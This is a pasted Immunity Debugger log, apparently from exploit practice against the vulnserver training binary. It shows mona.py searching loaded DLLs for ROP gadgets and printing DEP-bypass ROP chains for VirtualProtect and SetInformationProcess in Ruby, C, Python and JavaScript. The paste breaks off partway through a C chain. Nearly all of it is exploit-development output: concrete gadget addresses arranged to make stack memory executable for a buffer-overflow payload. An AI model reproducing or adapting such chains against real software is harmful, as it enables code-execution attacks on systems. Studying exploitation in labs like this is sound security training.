API tools faq
paste
Guest User

output

a guest
Mar 16th, 2022
88
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 52.50 KB | None | 0 0
raw download clone embed print report
  1. Log data
  2. Address Message
  3. Immunity Debugger 1.85.0.0 : R'lyeh
  4. Need support? visit http://forum.immunityinc.com/
  5. Error accesing memory
  6. File 'C:\Users\adrianhack\Desktop\vulnserver\vulnserver.exe'
  7. [19:05:37] New process with ID 00001734 created
  8. Main thread with ID 000018B8 created
  9. 773758E0 New thread with ID 000011F4 created
  10. 773758E0 New thread with ID 000003DC created
  11. 773EDC70 New thread with ID 0000163C created
  12. 00400000 Modules C:\Users\adrianhack\Desktop\vulnserver\vulnserver.exe
  13. 62500000 Modules C:\Users\adrianhack\Desktop\vulnserver\essfunc.dll
  14. 74230000 Modules C:\Windows\system32\mswsock.dll
  15. 75170000 Modules C:\Windows\SYSTEM32\apphelp.dll
  16. 75A90000 Modules C:\Windows\System32\msvcrt.dll
  17. 76670000 Modules C:\Windows\System32\KERNEL32.DLL
  18. 76A30000 Modules C:\Windows\System32\RPCRT4.dll
  19. 76B00000 Modules C:\Windows\System32\WS2_32.DLL
  20. 77110000 Modules C:\Windows\System32\KERNELBASE.dll
  21. 77340000 Modules C:\Windows\SYSTEM32\ntdll.dll
  22. 773B4D10 [19:05:37] Attached process paused at ntdll.DbgBreakPoint
  23. 0BADF00D [+] Command used:
  24. 0BADF00D !mona rop -cp nonull -m *.dll
  25.  
  26. ---------- Mona command started on 2022-03-16 19:05:58 (v2.0, rev 616) ----------
  27. 0BADF00D [+] Processing arguments and criteria
  28. 0BADF00D - Pointer access level : X
  29. 0BADF00D - Only querying modules *.dll
  30. 0BADF00D - Pointer criteria : ['nonull']
  31. 0BADF00D [+] Generating module info table, hang on...
  32. 0BADF00D - Processing modules
  33. 0BADF00D - Done. Let's rock 'n roll.
  34. 0BADF00D [+] Preparing output file '_rop_progress_vulnserver.exe_5940.log'
  35. 0BADF00D - (Re)setting logfile _rop_progress_vulnserver.exe_5940.log
  36. 0BADF00D [+] Progress will be written to _rop_progress_vulnserver.exe_5940.log
  37. 0BADF00D [+] Maximum offset : 40
  38. 0BADF00D [+] (Minimum/optional maximum) stackpivot distance : 8
  39. 0BADF00D [+] Max nr of instructions : 6
  40. 0BADF00D [+] Split output into module rop files ? False
  41. 0BADF00D [+] Going to create rop chains for all relevant/supported techniques:
  42. 0BADF00D [+] Enumerating 22 endings in 9 module(s)...
  43. 0BADF00D - Querying module essfunc.dll
  44. 0BADF00D - Querying module KERNELBASE.dll
  45. 0BADF00D - Querying module mswsock.dll
  46. 0BADF00D - Querying module apphelp.dll
  47. 0BADF00D - Querying module KERNEL32.DLL
  48. 0BADF00D - Querying module msvcrt.dll
  49. 0BADF00D - Querying module ntdll.dll
  50. 0BADF00D - Querying module RPCRT4.dll
  51. 0BADF00D - Querying module WS2_32.DLL
  52. 0BADF00D - Search complete :
  53. 0BADF00D Ending : RETN 0x02, Nr found : 51
  54. 0BADF00D Ending : RETN 0x1A, Nr found : 2
  55. 0BADF00D Ending : RETN 0x0C, Nr found : 2253
  56. 0BADF00D Ending : RETN 0x1C, Nr found : 323
  57. 0BADF00D Ending : RETN 0x0A, Nr found : 16
  58. 0BADF00D Ending : RETN 0x1E, Nr found : 1
  59. 0BADF00D Ending : RETN, Nr found : 19379
  60. 0BADF00D Ending : RETN 0x0E, Nr found : 3
  61. 0BADF00D Ending : RETN 0x20, Nr found : 231
  62. 0BADF00D Ending : RETN 0x18, Nr found : 560
  63. 0BADF00D Ending : RETN 0x08, Nr found : 2764
  64. 0BADF00D Ending : RETN 0x24, Nr found : 156
  65. 0BADF00D Ending : RETN 0x22, Nr found : 2
  66. 0BADF00D Ending : RETN 0x28, Nr found : 82
  67. 0BADF00D Ending : RETN 0x10, Nr found : 1371
  68. 0BADF00D Ending : RETN 0x00, Nr found : 228
  69. 0BADF00D Ending : RETN 0x12, Nr found : 10
  70. 0BADF00D Ending : RETN 0x06, Nr found : 21
  71. 0BADF00D Ending : RETN 0x14, Nr found : 877
  72. 0BADF00D Ending : RETN 0x04, Nr found : 3372
  73. 0BADF00D - Filtering and mutating 31702 gadgets
  74. 0BADF00D - Progress update : 1000 / 31702 items processed (Wed 2022/03/16 07:06:02 PM) - (3%)
  75. 0BADF00D - Progress update : 2000 / 31702 items processed (Wed 2022/03/16 07:06:04 PM) - (6%)
  76. 0BADF00D - Progress update : 3000 / 31702 items processed (Wed 2022/03/16 07:06:05 PM) - (9%)
  77. 0BADF00D - Progress update : 4000 / 31702 items processed (Wed 2022/03/16 07:06:08 PM) - (12%)
  78. 0BADF00D - Progress update : 5000 / 31702 items processed (Wed 2022/03/16 07:06:10 PM) - (15%)
  79. 0BADF00D - Progress update : 6000 / 31702 items processed (Wed 2022/03/16 07:06:11 PM) - (18%)
  80. 0BADF00D - Progress update : 7000 / 31702 items processed (Wed 2022/03/16 07:06:13 PM) - (22%)
  81. 0BADF00D - Progress update : 8000 / 31702 items processed (Wed 2022/03/16 07:06:16 PM) - (25%)
  82. 0BADF00D - Progress update : 9000 / 31702 items processed (Wed 2022/03/16 07:06:18 PM) - (28%)
  83. 0BADF00D - Progress update : 10000 / 31702 items processed (Wed 2022/03/16 07:06:20 PM) - (31%)
  84. 0BADF00D - Progress update : 11000 / 31702 items processed (Wed 2022/03/16 07:06:22 PM) - (34%)
  85. 0BADF00D - Progress update : 12000 / 31702 items processed (Wed 2022/03/16 07:06:24 PM) - (37%)
  86. 0BADF00D - Progress update : 13000 / 31702 items processed (Wed 2022/03/16 07:06:26 PM) - (41%)
  87. 0BADF00D - Progress update : 14000 / 31702 items processed (Wed 2022/03/16 07:06:28 PM) - (44%)
  88. 0BADF00D - Progress update : 15000 / 31702 items processed (Wed 2022/03/16 07:06:30 PM) - (47%)
  89. 0BADF00D - Progress update : 16000 / 31702 items processed (Wed 2022/03/16 07:06:32 PM) - (50%)
  90. 0BADF00D - Progress update : 17000 / 31702 items processed (Wed 2022/03/16 07:06:34 PM) - (53%)
  91. 0BADF00D - Progress update : 18000 / 31702 items processed (Wed 2022/03/16 07:06:37 PM) - (56%)
  92. 0BADF00D - Progress update : 19000 / 31702 items processed (Wed 2022/03/16 07:06:39 PM) - (59%)
  93. 0BADF00D - Progress update : 20000 / 31702 items processed (Wed 2022/03/16 07:06:41 PM) - (63%)
  94. 0BADF00D - Progress update : 21000 / 31702 items processed (Wed 2022/03/16 07:06:43 PM) - (66%)
  95. 0BADF00D - Progress update : 22000 / 31702 items processed (Wed 2022/03/16 07:06:45 PM) - (69%)
  96. 0BADF00D - Progress update : 23000 / 31702 items processed (Wed 2022/03/16 07:06:47 PM) - (72%)
  97. 0BADF00D - Progress update : 24000 / 31702 items processed (Wed 2022/03/16 07:06:49 PM) - (75%)
  98. 0BADF00D - Progress update : 25000 / 31702 items processed (Wed 2022/03/16 07:06:51 PM) - (78%)
  99. 0BADF00D - Progress update : 26000 / 31702 items processed (Wed 2022/03/16 07:06:53 PM) - (82%)
  100. 0BADF00D - Progress update : 27000 / 31702 items processed (Wed 2022/03/16 07:06:55 PM) - (85%)
  101. 0BADF00D - Progress update : 28000 / 31702 items processed (Wed 2022/03/16 07:06:57 PM) - (88%)
  102. 0BADF00D - Progress update : 29000 / 31702 items processed (Wed 2022/03/16 07:06:59 PM) - (91%)
  103. 0BADF00D - Progress update : 30000 / 31702 items processed (Wed 2022/03/16 07:07:00 PM) - (94%)
  104. 0BADF00D - Progress update : 31000 / 31702 items processed (Wed 2022/03/16 07:07:03 PM) - (97%)
  105. 0BADF00D - Progress update : 31702 / 31702 items processed (Wed 2022/03/16 07:07:04 PM) - (100%)
  106. 0BADF00D [+] Creating suggestions list
  107. 0BADF00D [+] Processing suggestions
  108. 0BADF00D [+] Launching ROP generator
  109. 0BADF00D [+] Attempting to produce rop chain for VirtualProtect
  110. 0BADF00D Wed 2022/03/16 07:07:14 PM: Step 1/7: esi
  111. Getting IAT for essfunc.dll.
  112. 0BADF00D Enumerating IAT
  113. Getting IAT for KERNELBASE.dll.
  114. 0BADF00D Enumerating IAT
  115. Getting IAT for mswsock.dll.
  116. 0BADF00D Enumerating IAT
  117. Getting IAT for apphelp.dll.
  118. 0BADF00D Enumerating IAT
  119. Getting IAT for KERNEL32.DLL.
  120. 0BADF00D Enumerating IAT
  121. Getting IAT for msvcrt.dll.
  122. 0BADF00D Enumerating IAT
  123. Getting IAT for ntdll.dll.
  124. 0BADF00D Enumerating IAT
  125. Getting IAT for RPCRT4.dll.
  126. 0BADF00D Enumerating IAT
  127. Getting IAT for WS2_32.DLL.
  128. 0BADF00D Enumerating IAT
  129. 0BADF00D Wed 2022/03/16 07:07:15 PM: Step 2/7: ebp
  130. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 3/7: ebx
  131. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 4/7: edx
  132. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 5/7: ecx
  133. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 6/7: edi
  134. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 7/7: eax
  135. 0BADF00D [+] Attempting to produce rop chain for SetInformationProcess
  136. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 1/6: ebp
  137. Getting IAT for essfunc.dll.
  138. 0BADF00D Retrieving IAT from cache
  139. Getting IAT for KERNELBASE.dll.
  140. 0BADF00D Retrieving IAT from cache
  141. Getting IAT for mswsock.dll.
  142. 0BADF00D Retrieving IAT from cache
  143. Getting IAT for apphelp.dll.
  144. 0BADF00D Retrieving IAT from cache
  145. Getting IAT for KERNEL32.DLL.
  146. 0BADF00D Retrieving IAT from cache
  147. Getting IAT for msvcrt.dll.
  148. 0BADF00D Retrieving IAT from cache
  149. Getting IAT for ntdll.dll.
  150. 0BADF00D Retrieving IAT from cache
  151. Getting IAT for RPCRT4.dll.
  152. 0BADF00D Retrieving IAT from cache
  153. Getting IAT for WS2_32.DLL.
  154. 0BADF00D Retrieving IAT from cache
  155. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 2/6: edx
  156. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 3/6: ecx
  157. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 4/6: ebx
  158. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 5/6: eax
  159. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 6/6: edi
  160. 0BADF00D [+] Attempting to produce rop chain for SetProcessDEPPolicy
  161. 0BADF00D Wed 2022/03/16 07:07:17 PM: Step 1/3: ebp
  162. Getting IAT for essfunc.dll.
  163. 0BADF00D Retrieving IAT from cache
  164. Getting IAT for KERNELBASE.dll.
  165. 0BADF00D Retrieving IAT from cache
  166. Getting IAT for mswsock.dll.
  167. 0BADF00D Retrieving IAT from cache
  168. Getting IAT for apphelp.dll.
  169. 0BADF00D Retrieving IAT from cache
  170. Getting IAT for KERNEL32.DLL.
  171. 0BADF00D Retrieving IAT from cache
  172. Getting IAT for msvcrt.dll.
  173. 0BADF00D Retrieving IAT from cache
  174. Getting IAT for ntdll.dll.
  175. 0BADF00D Retrieving IAT from cache
  176. Getting IAT for RPCRT4.dll.
  177. 0BADF00D Retrieving IAT from cache
  178. Getting IAT for WS2_32.DLL.
  179. 0BADF00D Retrieving IAT from cache
  180. Getting IAT for essfunc.dll.
  181. 0BADF00D Retrieving IAT from cache
  182. Getting IAT for vulnserver.exe.
  183. 0BADF00D Enumerating IAT
  184. 0BADF00D Wed 2022/03/16 07:07:20 PM: Step 2/3: ebx
  185. 0BADF00D Wed 2022/03/16 07:07:20 PM: Step 3/3: edi
  186. 0BADF00D [+] Attempting to produce rop chain for VirtualAlloc
  187. 0BADF00D Wed 2022/03/16 07:07:20 PM: Step 1/7: esi
  188. Getting IAT for essfunc.dll.
  189. 0BADF00D Retrieving IAT from cache
  190. Getting IAT for KERNELBASE.dll.
  191. 0BADF00D Retrieving IAT from cache
  192. Getting IAT for mswsock.dll.
  193. 0BADF00D Retrieving IAT from cache
  194. Getting IAT for apphelp.dll.
  195. 0BADF00D Retrieving IAT from cache
  196. Getting IAT for KERNEL32.DLL.
  197. 0BADF00D Retrieving IAT from cache
  198. Getting IAT for msvcrt.dll.
  199. 0BADF00D Retrieving IAT from cache
  200. Getting IAT for ntdll.dll.
  201. 0BADF00D Retrieving IAT from cache
  202. Getting IAT for RPCRT4.dll.
  203. 0BADF00D Retrieving IAT from cache
  204. Getting IAT for WS2_32.DLL.
  205. 0BADF00D Retrieving IAT from cache
  206. 0BADF00D Wed 2022/03/16 07:07:20 PM: Step 2/7: ebp
  207. 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 3/7: ebx
  208. 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 4/7: edx
  209. 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 5/7: ecx
  210. 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 6/7: edi
  211. 0BADF00D Wed 2022/03/16 07:07:23 PM: Step 7/7: eax
  212. 0BADF00D [+] ROP chains written to file rop_chains.txt
  213.  
  214. ################################################################################
  215.  
  216. Register setup for VirtualProtect() :
  217. --------------------------------------------
  218. EAX = NOP (0x90909090)
  219. ECX = lpOldProtect (ptr to W address)
  220. EDX = NewProtect (0x40)
  221. EBX = dwSize
  222. ESP = lPAddress (automatic)
  223. EBP = ReturnTo (ptr to jmp esp)
  224. ESI = ptr to VirtualProtect()
  225. EDI = ROP NOP (RETN)
  226. --- alternative chain ---
  227. EAX = ptr to &VirtualProtect()
  228. ECX = lpOldProtect (ptr to W address)
  229. EDX = NewProtect (0x40)
  230. EBX = dwSize
  231. ESP = lPAddress (automatic)
  232. EBP = POP (skip 4 bytes)
  233. ESI = ptr to JMP [EAX]
  234. EDI = ROP NOP (RETN)
  235. + place ptr to "jmp esp" on stack, below PUSHAD
  236. --------------------------------------------
  237.  
  238.  
  239. ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
  240. ----------------------------------------------------------
  241.  
  242. *** [ Ruby ] ***
  243.  
  244. def create_rop_chain()
  245.  
  246. # rop chain generated with mona.py - www.corelan.be
  247. rop_gadgets =
  248. [
  249. #[---INFO:gadgets_to_set_esi:---]
  250. 0x772d234a, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  251. 0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
  252. 0x76a6fdb6, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
  253. 0x76b41470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
  254. #[---INFO:gadgets_to_set_ebp:---]
  255. 0x75adfcb1, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
  256. 0x625011af, # & jmp esp [essfunc.dll]
  257. #[---INFO:gadgets_to_set_ebx:---]
  258. 0x77270b5d, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  259. 0xfffffdff, # Value to negate, will become 0x00000201
  260. 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  261. 0x75aa7926, # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
  262. #[---INFO:gadgets_to_set_edx:---]
  263. 0x75b27dfb, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
  264. 0xffffffc0, # Value to negate, will become 0x00000040
  265. 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  266. 0x76a3b884, # XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  267. #[---INFO:gadgets_to_set_ecx:---]
  268. 0x75ad8b52, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
  269. 0x76add416, # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
  270. #[---INFO:gadgets_to_set_edi:---]
  271. 0x77423214, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
  272. 0x766ba91a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
  273. #[---INFO:gadgets_to_set_eax:---]
  274. 0x76aa79e6, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  275. 0x90909090, # nop
  276. #[---INFO:pushad:---]
  277. 0x74250446, # PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
  278. ].flatten.pack("V*")
  279.  
  280. return rop_gadgets
  281.  
  282. end
  283.  
  284.  
  285. # Call the ROP chain generator inside the 'exploit' function :
  286.  
  287.  
  288. rop_chain = create_rop_chain()
  289.  
  290.  
  291.  
  292. *** [ C ] ***
  293.  
  294. #define CREATE_ROP_CHAIN(name, ...) \
  295. int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
  296. unsigned int name[name##_length / sizeof(unsigned int)]; \
  297. create_rop_chain(name, ##__VA_ARGS__);
  298.  
  299. int create_rop_chain(unsigned int *buf, unsigned int )
  300. {
  301. // rop chain generated with mona.py - www.corelan.be
  302. unsigned int rop_gadgets[] = {
  303. //[---INFO:gadgets_to_set_esi:---]
  304. 0x772d234a, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  305. 0x6250609c, // ptr to &VirtualProtect() [IAT essfunc.dll]
  306. 0x76a6fdb6, // MOV EAX,DWORD PTR DS:[EAX] // RETN [RPCRT4.dll] ** REBASED ** ASLR
  307. 0x76b41470, // XCHG EAX,ESI // RETN [WS2_32.DLL] ** REBASED ** ASLR
  308. //[---INFO:gadgets_to_set_ebp:---]
  309. 0x75adfcb1, // POP EBP // RETN [msvcrt.dll] ** REBASED ** ASLR
  310. 0x625011af, // & jmp esp [essfunc.dll]
  311. //[---INFO:gadgets_to_set_ebx:---]
  312. 0x77270b5d, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  313. 0xfffffdff, // Value to negate, will become 0x00000201
  314. 0x766b94ea, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
  315. 0x75aa7926, // XCHG EAX,EBX // RETN [msvcrt.dll] ** REBASED ** ASLR
  316. //[---INFO:gadgets_to_set_edx:---]
  317. 0x75b27dfb, // POP EAX // RETN [msvcrt.dll] ** REBASED ** ASLR
  318. 0xffffffc0, // Value to negate, will become 0x00000040
  319. 0x766ba918, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
  320. 0x76a3b884, // XCHG EAX,EDX // RETN [RPCRT4.dll] ** REBASED ** ASLR
  321. //[---INFO:gadgets_to_set_ecx:---]
  322. 0x75ad8b52, // POP ECX // RETN [msvcrt.dll] ** REBASED ** ASLR
  323. 0x76add416, // &Writable location [RPCRT4.dll] ** REBASED ** ASLR
  324. //[---INFO:gadgets_to_set_edi:---]
  325. 0x77423214, // POP EDI // RETN [ntdll.dll] ** REBASED ** ASLR
  326. 0x766ba91a, // RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
  327. //[---INFO:gadgets_to_set_eax:---]
  328. 0x76aa79e6, // POP EAX // RETN [RPCRT4.dll] ** REBASED ** ASLR
  329. 0x90909090, // nop
  330. //[---INFO:pushad:---]
  331. 0x74250446, // PUSHAD // RETN [mswsock.dll] ** REBASED ** ASLR
  332. };
  333. if(buf != NULL) {
  334. memcpy(buf, rop_gadgets, sizeof(rop_gadgets));
  335. };
  336. return sizeof(rop_gadgets);
  337. }
  338.  
  339. // use the 'rop_chain' variable after this call, it's just an unsigned int[]
  340. CREATE_ROP_CHAIN(rop_chain, );
  341. // alternatively just allocate a large enough buffer and get the rop chain, i.e.:
  342. // unsigned int rop_chain[256];
  343. // int rop_chain_length = create_rop_chain(rop_chain, );
  344.  
  345. *** [ Python ] ***
  346.  
  347. def create_rop_chain():
  348.  
  349. # rop chain generated with mona.py - www.corelan.be
  350. rop_gadgets = [
  351. #[---INFO:gadgets_to_set_esi:---]
  352. 0x772d234a, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  353. 0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
  354. 0x76a6fdb6, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
  355. 0x76b41470, # XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
  356. #[---INFO:gadgets_to_set_ebp:---]
  357. 0x75adfcb1, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
  358. 0x625011af, # & jmp esp [essfunc.dll]
  359. #[---INFO:gadgets_to_set_ebx:---]
  360. 0x77270b5d, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  361. 0xfffffdff, # Value to negate, will become 0x00000201
  362. 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  363. 0x75aa7926, # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
  364. #[---INFO:gadgets_to_set_edx:---]
  365. 0x75b27dfb, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
  366. 0xffffffc0, # Value to negate, will become 0x00000040
  367. 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  368. 0x76a3b884, # XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  369. #[---INFO:gadgets_to_set_ecx:---]
  370. 0x75ad8b52, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
  371. 0x76add416, # &Writable location [RPCRT4.dll] ** REBASED ** ASLR
  372. #[---INFO:gadgets_to_set_edi:---]
  373. 0x77423214, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
  374. 0x766ba91a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
  375. #[---INFO:gadgets_to_set_eax:---]
  376. 0x76aa79e6, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  377. 0x90909090, # nop
  378. #[---INFO:pushad:---]
  379. 0x74250446, # PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
  380. ]
  381. return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
  382.  
  383. rop_chain = create_rop_chain()
  384.  
  385.  
  386.  
  387. *** [ JavaScript ] ***
  388.  
  389. //rop chain generated with mona.py - www.corelan.be
  390. rop_gadgets = unescape(
  391. "" + // #[---INFO:gadgets_to_set_esi:---] :
  392. "%u234a%u772d" + // 0x772d234a : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  393. "%u609c%u6250" + // 0x6250609c : ,# ptr to &VirtualProtect() [IAT essfunc.dll]
  394. "%ufdb6%u76a6" + // 0x76a6fdb6 : ,# MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
  395. "%u1470%u76b4" + // 0x76b41470 : ,# XCHG EAX,ESI # RETN [WS2_32.DLL] ** REBASED ** ASLR
  396. "" + // #[---INFO:gadgets_to_set_ebp:---] :
  397. "%ufcb1%u75ad" + // 0x75adfcb1 : ,# POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
  398. "%u11af%u6250" + // 0x625011af : ,# & jmp esp [essfunc.dll]
  399. "" + // #[---INFO:gadgets_to_set_ebx:---] :
  400. "%u0b5d%u7727" + // 0x77270b5d : ,# POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  401. "%ufdff%uffff" + // 0xfffffdff : ,# Value to negate, will become 0x00000201
  402. "%u94ea%u766b" + // 0x766b94ea : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  403. "%u7926%u75aa" + // 0x75aa7926 : ,# XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
  404. "" + // #[---INFO:gadgets_to_set_edx:---] :
  405. "%u7dfb%u75b2" + // 0x75b27dfb : ,# POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
  406. "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040
  407. "%ua918%u766b" + // 0x766ba918 : ,# NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  408. "%ub884%u76a3" + // 0x76a3b884 : ,# XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  409. "" + // #[---INFO:gadgets_to_set_ecx:---] :
  410. "%u8b52%u75ad" + // 0x75ad8b52 : ,# POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
  411. "%ud416%u76ad" + // 0x76add416 : ,# &Writable location [RPCRT4.dll] ** REBASED ** ASLR
  412. "" + // #[---INFO:gadgets_to_set_edi:---] :
  413. "%u3214%u7742" + // 0x77423214 : ,# POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
  414. "%ua91a%u766b" + // 0x766ba91a : ,# RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
  415. "" + // #[---INFO:gadgets_to_set_eax:---] :
  416. "%u79e6%u76aa" + // 0x76aa79e6 : ,# POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  417. "%u9090%u9090" + // 0x90909090 : ,# nop
  418. "" + // #[---INFO:pushad:---] :
  419. "%u0446%u7425" + // 0x74250446 : ,# PUSHAD # RETN [mswsock.dll] ** REBASED ** ASLR
  420. ""); // :
  421.  
  422.  
  423. --------------------------------------------------------------------------------------------------
  424.  
  425.  
  426. ################################################################################
  427.  
  428. Register setup for SetInformationProcess() :
  429. --------------------------------------------
  430. EAX = SizeOf(ExecuteFlags) (0x4)
  431. ECX = &ExecuteFlags (ptr to 0x00000002)
  432. EDX = ProcessExecuteFlags (0x22)
  433. EBX = NtCurrentProcess (0xffffffff)
  434. ESP = ReturnTo (automatic)
  435. EBP = ptr to NtSetInformationProcess()
  436. ESI = <not used>
  437. EDI = ROP NOP (4 byte stackpivot)
  438. --------------------------------------------
  439.  
  440.  
  441. ROP Chain for SetInformationProcess() [(XP/2003 Server only)] :
  442. ---------------------------------------------------------------
  443.  
  444. *** [ Ruby ] ***
  445.  
  446. def create_rop_chain()
  447.  
  448. # rop chain generated with mona.py - www.corelan.be
  449. rop_gadgets =
  450. [
  451. #[---INFO:gadgets_to_set_ebp:---]
  452. 0x76a36604, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  453. 0x772ec3c0, # ptr to &SetInformationProcess() [IAT KERNELBASE.dll] ** REBASED ** ASLR
  454. 0x7735b710, # MOV EBP,DWORD PTR DS:[EAX] # RETN [ntdll.dll] ** REBASED ** ASLR
  455. #[---INFO:gadgets_to_set_edx:---]
  456. 0x7723f572, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  457. 0xffffffde, # Value to negate, will become 0x00000022
  458. 0x766ba918, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  459. 0x76b0c549, # XCHG EAX,EDX # RETN [WS2_32.DLL] ** REBASED ** ASLR
  460. #[---INFO:gadgets_to_set_ecx:---]
  461. 0x75ae71e6, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
  462. 0x62501511, # &0x00000002 [essfunc.dll]
  463. #[---INFO:gadgets_to_set_ebx:---]
  464. 0x76abd133, # POP EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
  465. 0xffffffff, # 0xffffffff-> ebx
  466. #[---INFO:gadgets_to_set_eax:---]
  467. 0x7723ea62, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  468. 0xfffffffc, # Value to negate, will become 0x00000004
  469. 0x766b94ea, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
  470. #[---INFO:gadgets_to_set_edi:---]
  471. 0x751e9df8, # POP EDI # RETN [apphelp.dll] ** REBASED ** ASLR
  472. 0x751e9df8, # skip 4 bytes [apphelp.dll] ** REBASED ** ASLR
  473. #[---INFO:pushad:---]
  474. 0x7721c180, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
  475. ].flatten.pack("V*")
  476.  
  477. return rop_gadgets
  478.  
  479. end
  480.  
  481.  
  482. # Call the ROP chain generator inside the 'exploit' function :
  483.  
  484.  
  485. rop_chain = create_rop_chain()
  486.  
  487.  
  488.  
  489. *** [ C ] ***
  490.  
  491. #define CREATE_ROP_CHAIN(name, ...) \
  492. int name##_length = create_rop_chain(NULL, ##__VA_ARGS__); \
  493. unsigned int name[name##_length / sizeof(unsigned int)]; \
  494. create_rop_chain(name, ##__VA_ARGS__);
  495.  
  496. int create_rop_chain(unsigned int *buf, unsigned int )
  497. {
  498. // rop chain generated with mona.py - www.corelan.be
  499. unsigned int rop_gadgets[] = {
  500. //[---INFO:gadgets_to_set_ebp:---]
  501. 0x76a36604, // POP EAX // RETN [RPCRT4.dll] ** REBASED ** ASLR
  502. 0x772ec3c0, // ptr to &SetInformationProcess() [IAT KERNELBASE.dll] ** REBASED ** ASLR
  503. 0x7735b710, // MOV EBP,DWORD PTR DS:[EAX] // RETN [ntdll.dll] ** REBASED ** ASLR
  504. //[---INFO:gadgets_to_set_edx:---]
  505. 0x7723f572, // POP EAX // RETN [KERNELBASE.dll] ** REBASED ** ASLR
  506. 0xffffffde, // Value to negate, will become 0x00000022
  507. 0x766ba918, // NEG EAX // RETN [KERNEL32.DLL] ** REBASED ** ASLR
  508. 0x76b0c549, // XCHG EAX,EDX // RETN [WS2_32.DLL] ** REBASED ** ASLR
  509. //[---INFO:gadgets_to_set_ecx:---]
  510. 0x75ae71e6, // POP ECX // RETN [msvcrt.dll] ** REBASED ** ASLR
  511. 0x62501511, // &0x00000002 [essfunc.dll]
  512. //[---INFO:gadgets_to_set_ebx:---]
  513. 0x76abd133, // POP EBX // RETN [RPCRT4.dll] ** REBASED ** ASLR
  514. 0xffffffff, // 0xffffffff-> ebx
  515. //[---INFO:gadgets_to_set_eax:---]
